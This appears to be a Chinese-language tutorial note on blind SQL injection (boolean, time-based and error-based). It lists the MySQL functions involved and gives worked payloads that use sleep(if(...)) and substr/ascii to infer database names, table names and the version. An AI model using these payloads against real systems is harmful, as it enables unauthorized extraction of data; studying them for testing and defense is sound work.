SQL注入报错盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行 判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
基于布尔的SQL盲注-逻辑判断
regexp,like,ascii,left,ord,mid
基于时间的SQL盲注-延时判断
if,sleep
基于报错的SQL盲注-报错会先
floor,updatexml,extractvalue
在burpsuit中GET上参数后面加东西时,空格要用+号代替
参考
like 'ro%'
#判断ro或ro…是否成立
regexp '^aaa[a-z]'
#匹配aaa及aaa…等
if(条件,5,0)
#条件成立 返回5 反之 返回0
sleep(5)
#SQL语句延时执行5秒
mid(a,b,c)
#从位置b开始,截取a字符串的c长度
substr(a,b,c)
#从b位置开始,截取字符串a的c长度
left(database(),1)
#left(a,b)从左侧截取a的前b位
length(database())=8
#判断数据库database()名的长度
ord=ascii ascii(x)=97
#判断x的asscii码是否等于97
查询的时候睡眠5秒钟
select * from member where id=1 and sleep(5);
当数据库名为a的时候就显示123,不为a的时候显示456
select if(database()='a',123,456);
两者结合时
查询member表中id等于1的数据,并且当数据库名等于a的时候就睡眠1秒,否则就睡眠0秒
select * from member where id=1 and sleep(if(database()='a',1,0));
当数据库名长度等于8的时候就睡眠5秒,否则就睡眠0秒
select * from member where id=1 and sleep(if(length(database())=8,5,0));
当数据库名第一个字符等于s的时候就睡眠5秒,否则就睡眠0秒
select * from users where id=1 and sleep(if(mid(database(),1,1)='s',5,0));
截取当前数据库中的第一个表的第一个字母,如果这个字母的assic值是101就睡眠3秒,如果不是就睡眠0秒
select * from users where id=1 and sleep(if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),3,0))
布尔类型
如果页面没有变化的话就证明版本的左边三个字符是5.5
select * from users where id=1 and left(version(),3)='5.5'